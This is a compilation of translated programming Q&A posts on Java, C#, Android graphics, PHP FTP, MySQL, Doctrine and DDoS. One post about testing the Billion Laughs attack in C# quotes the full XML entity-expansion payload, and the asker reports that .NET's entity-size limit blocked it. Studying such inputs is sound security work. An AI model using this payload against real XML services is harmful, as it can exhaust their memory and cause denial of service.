小编J. *_*ati的帖子

为什么classname $ 1.class会在这种情况下生成?

我编写了以下代码来实现Singleton模式:

public final class Test {
     static final class TestHolder {
         private static final Test INSTANCE = new Test();
     }     

     private Test() {}

     public static Test getInstance() {
         return TestHolder.INSTANCE;
     }
}
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当我编译这个文件时,它应该生成Test.class和Test $ TestHolder.class,但它也会生成Test $ 1.class.这没有意义.那么为什么以及如何呢?

java compilation

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如何在C#中实现基于苹果令牌的推送通知(使用p8文件)?

对于具有某种基于聊天功能的应用,我想添加推送通知支持以接收新消息.我想要做的是使用Apple的基于新令牌的身份验证(.p8文件),但我找不到有关服务器部分的更多信息.

我遇到了以下帖子: 如何在C#中使用APNs Auth Key(.p8文件)?

然而,答案并不令人满意,因为没有太多关于如何:

  • 与APN建立连接
  • 使用p8文件(某种编码除外)
  • 将数据发送到Apple推送通知服务

c# apple-push-notifications

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在opengl es 2.0驱动程序上的irrlicht android

我正在学习在Android上使用Irrlicht.上个月我一直在研究基于openGL es 1.0的驱动程序,它运行良好(我使用1.0,因为当我尝试运行基于驱动程序es 2.0的示例时,结果结果非常奇怪).加载网格是可以的,但令我困惑的是纹理无法正确显示.渲染代码如下:

smgr = device->getSceneManager();
guienv = device->getGUIEnvironment();

stringc myDir = gSdCardPath;
myDir += "/Irrlicht";
device->getFileSystem()->changeWorkingDirectoryTo(myDir.c_str());

stringc sydneyFilename = "/Irrlicht/sydney.md2";
mesh=smgr->getMesh("/sdcard/Irrlicht/sydney.md2");
if (!mesh) {
    device->drop();
    __android_log_print(ANDROID_LOG_INFO, "Irrlicht", "cannot getMesh");
    return;
}
nodeSydney = smgr->addAnimatedMeshSceneNode(mesh);

if (nodeSydney) {
    nodeSydney->setMaterialFlag(EMF_LIGHTING, false);
    nodeSydney->setMD2Animation(scene::EMAT_STAND);
    stringc sydneyTextureFilename = "/Irrlicht/sydney.bmp";
    texture=driver->getTexture("/sdcard/Irrlicht/sydney.bmp");
    if (!texture)
        LOGI("sydney.bmp load failed");
    else{
        nodeSydney->setMaterialTexture(0,texture);
        LOGI("sydney.bmp load successfully");
    }
    nodeSydney->setPosition(core::vector3df(0.0f,0.0f,0.0f));
}
smgr->addCameraSceneNode(0, vector3df(0, 10, -50), vector3df(0, 5, 0));

receiver = new AndroidEventReceiver(context);
device->setEventReceiver(receiver);
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除了删除的注释和节点的位置之外,一切都与原始代码相同,我也确信代码中所需的文件位于正确的目录中.

任何有Android使用Irrlicht经验的人都可以帮帮我吗?

graphics android irrlicht opengl-es-2.0

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是否应该在C#中使用Billion Laughs Attack?

我试图从MSDN杂志页面测试XML代码,它说下面的代码行将导致处理时内存使用量增加到3GB.

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
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当我尝试将该文本粘贴到Visual Studio中的xml文件中时,确实显示内存和CPU使用率都有所增加.但是,当我尝试将其放在文本文件中而不是XML文件并使用c#加载它时,它没有任何影响.

更新:我认为LoadXml方法应该有影响,但我想这不是处理部分.当我试图得到第一个孩子时(即c#)抛出了一个异常,告诉他们MaxCharactersFromEntities已经超过了.

更新:这里也是我的代码:

using System;
using System.Xml;

namespace BillionLaughsAttack
{
    class Program
    {
        //The file containing the billion laughs mentioned previously
        //a txt file: Since an xml file causes visual studio to parse
        static String xmlFileLocation = "./MyData/DeepXML.txt";

        static void …
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c# xml security

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PHP - FTP文件名编码问题

我会简短的.我的FTP函数返回错误的文件名编码

$conn_id = ftp_connect("site.com");
ftp_login($conn_id, "login", "pass");
ftp_pasv($conn_id, true);
$buff = ftp_nlist($conn_id, "./");
print_r($buff);

->  // result
    array() {
        [0]=> "??.txt"
    }
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文件名具有Windows-1251编码.

我尝试通过nodejs连接到FTP,但它也返回令人毛骨悚然的东西 - òð.txt.

然而,我的桌面客户端(WinSCP)可以正常工作.

PS:我尝试使用utf8_encode - 但这也不适合我.

php ftp encoding

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mysql 检查约束,其中两列之一应为空

(对不起,如果这是一个重复的帖子,但我似乎找不到这个问题的例子)

我有一个有 4 列的 mysql 表,如下所示:

SomeTable
=========
ID (int)
name (varchar(255))
column1 (varchar(255))
column2 (double)
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我现在想要做的是添加一个约束,以便始终有一列(column1 或 column2)具有空值。我尝试了以下方法:

ALTER TABLE mytable 
    ADD CHECK (
        (column1 IS NOT NULL && column2 IS NULL) || 
        (column2 IS NOT NULL && column1 IS NULL)
    )
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但它似乎不起作用,因为我仍然可以遇到这样的情况:

CASE1:
------
name: bla
column1: null
column2: null

CASE2:
------
name: bla
column1: somevalue
column2: 123
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我怎样才能让它工作,以便在我尝试 case1 和 case2 时出现错误?

(另外:如果我没记错的话:我使用的约束可以缩短,但我不记得它是如何完成的。所以如果有人帮助我,我会很高兴!)

mysql check-constraint

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学说未知 请求的列类型“日期”

我在 symfony2 中有一个项目,我想将实体类映射到数据库,但执行时php app/console doctrine:schema:update --force出现以下错误:

[Doctrine\DBAL\DBALException] 请求未知的列类型“日期”。您使用的任何 Doctrine 类型都必须使用 \Doctrine\DBAL\Types\Type::addType() 注册。您可以使用 \Doctrine\DBAL\Types\Type::getTypeMap() 获取所有已知类型的列表。如果在数据库自省期间发生此错误,那么您可能忘记了为 Doctrine 类型注册所有数据库类型。使用 AbstractPlatform#reg isterDoctrineTypeMapping() 或让您的自定义类型实现 Type#getMapp edDatabaseTypes()。如果类型名称为空,则可能是缓存有问题或忘记了一些映射信息。

我在这里做错了什么?我的实体类中有以下注释:

/**
 * @ORM\Column(name="date", type="Date")
 */
private $date;
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php doctrine symfony

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什么是DDoS攻击?

我的托管服务器告诉我,我的网站发生了"DDoS攻击".什么是"DDoS攻击",我该如何预防?

terminology ddos

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